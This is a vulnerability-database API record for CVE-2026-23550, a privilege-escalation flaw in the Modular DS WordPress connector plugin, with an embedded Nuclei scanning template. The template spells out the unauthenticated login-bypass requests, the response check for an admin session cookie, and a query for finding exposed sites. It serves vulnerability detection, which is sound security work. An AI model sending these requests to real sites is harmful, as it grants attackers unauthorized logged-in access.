{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-23550/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-23550/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-23550/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-23550/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-23550/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-23550/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-23550"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-23550"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-23550.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-23550\n\ninfo:\n  name: Modular DS - Broken Access Control\n  author: DhiyaneshDk,l46983284-cpu\n  severity: high\n  description: |\n    Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n  impact: |\n    Attackers can escalate their privileges, potentially gaining unauthorized access to sensitive functions or data.\n  remediation: |\n    Update to the latest version beyond 2.5.1.\n  reference:\n    - https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/\n    - https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"/plugins/modular-connector/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,auth-bypass,modular-connector,vkev,vuln\n\nvariables:\n  string: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php/api/modular-connector/login/{{string}}/?origin=mo&type=foo\"\n      - \"{{BaseURL}}/api/modular-connector/login/{{string}}/?origin=mo&type=foo\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n# digest: 4b0a00483046022100e84a3c55e9f481189634fa937ebee30d23a5c7295453b4703ce81eaba422f6e4022100a79558eadad3453b78b81c884c403e1d467f366e9fe77d8503624f9a4772fd42:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-23550"}